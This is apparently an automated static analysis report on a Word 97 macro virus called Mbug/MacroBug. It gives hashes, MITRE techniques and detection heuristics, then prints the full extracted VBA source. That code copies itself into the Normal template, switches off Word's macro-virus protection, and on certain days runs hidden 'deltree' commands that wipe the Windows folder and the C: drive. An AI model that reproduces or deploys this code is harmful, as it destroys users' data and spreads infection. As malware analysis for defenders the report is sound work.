Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 257154490d13cf38…

MALICIOUS

Office (OLE)

59.5 KB Created: 1980-05-11 23:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 43be253a6acdec42232747ce8e34ef4a SHA-1: caf7eefc27f66115d74b5e44db967a50d7885b3e SHA-256: 257154490d13cf382df1d51fc322f8b0e572ec44860a90eb427c910f3411349e
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1490 Inhibit System Recovery

The sample contains VBA macros that execute upon opening or execution. The AutoExec subroutine contains calls to 'Shell "deltree /y c:\windows", vbHide' and 'Shell "deltree /y c:\*.*", vbHide', indicating an attempt to delete local files and inhibit system recovery. The AutoNew and AutoOpen subroutines attempt to copy the 'Mbug' macro and 'UserForm1' to the Normal template, suggesting an effort to establish persistence.

Heuristics 6

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\windows", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5556 bytes
SHA-256: 0e88885832b7d45dba881f91635410074d8ca68f95056463a369f81dc8a991dc
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Mbug"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo errorAE
If Day(Now()) = "21" Or Day(Now()) = "25" Then
UserForm1.Show
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
End If
errorAE:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAN
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Mbug", Object:=wdOrganizerObjectProjectItems
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "You Have been infected by the Alliance 98"
        .Execute
    End With
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "Mbug" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Mbug", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
    For a = 1 To 10
    StatusBar = "Microsoft"
    Next a
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Mbug", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    If Day(Now()) = "21" Or Day(Now()) = "25" Then
    UserForm1.Show
    Shell "deltree /y c:\windows", vbMinimizedFocus
    Shell "deltree /y c:\*.*", vbMinimizedFocus
    End If
    Dialogs(wdDialogFileSaveAs).Show
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Mbug", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
End Sub
Sub FilePrint()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFP
InsertPayload
    Dialogs(wdDialogFilePrint).Show
ErrorFP:
End Sub
Sub FilePrintDefault()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFPD
InsertPayload
    ActiveDocument.PrintOut
ErrorFPD:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
ErrorFT:
End Sub
Sub InsertPayload()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorIP
Dim WPrint$, Adding
WPrint$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NbrePrint", "Nuclear98.ini")
Adding = WordBasic.Val(WPrint$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NbrePrint", Str(Adding), "Nuclear98.ini"
WPrint$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NbrePrint", "Nuclear98.ini")
If WPrint$ = 12 Then
    Selection.EndKey Unit:=wdLine
    Selection.TypeParagraph
    Selection.TypeText Text:="bug"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="bug"
    Selection.HomeKey Unit:=wdLine
    Selection.EndKey Unit:=wdLine, Extend:=wdExtend
    Selection.Font.Bold = wdToggle
    WordBasic.SetPrivateProfileString "Microsoft Word", "NbrePrint", "1", "Nuclear98.ini"
End If
ErrorIP:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{7C541D26-BB10-11BD-B107-444553540000}{7C541D0A-BB10-11BD-B107-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub CommandButton1_Click()
MsgBox "My name is Macrobug", vbInformation, "Information Box"
End Sub

Private Sub TextBox1_Change()
MsgBox "Don't change my name", vbInformation, "!!!"
End Sub

Private Sub UserForm_Initialize()
    
    TextBox1.Text = "MacroBug"
     
    End Sub

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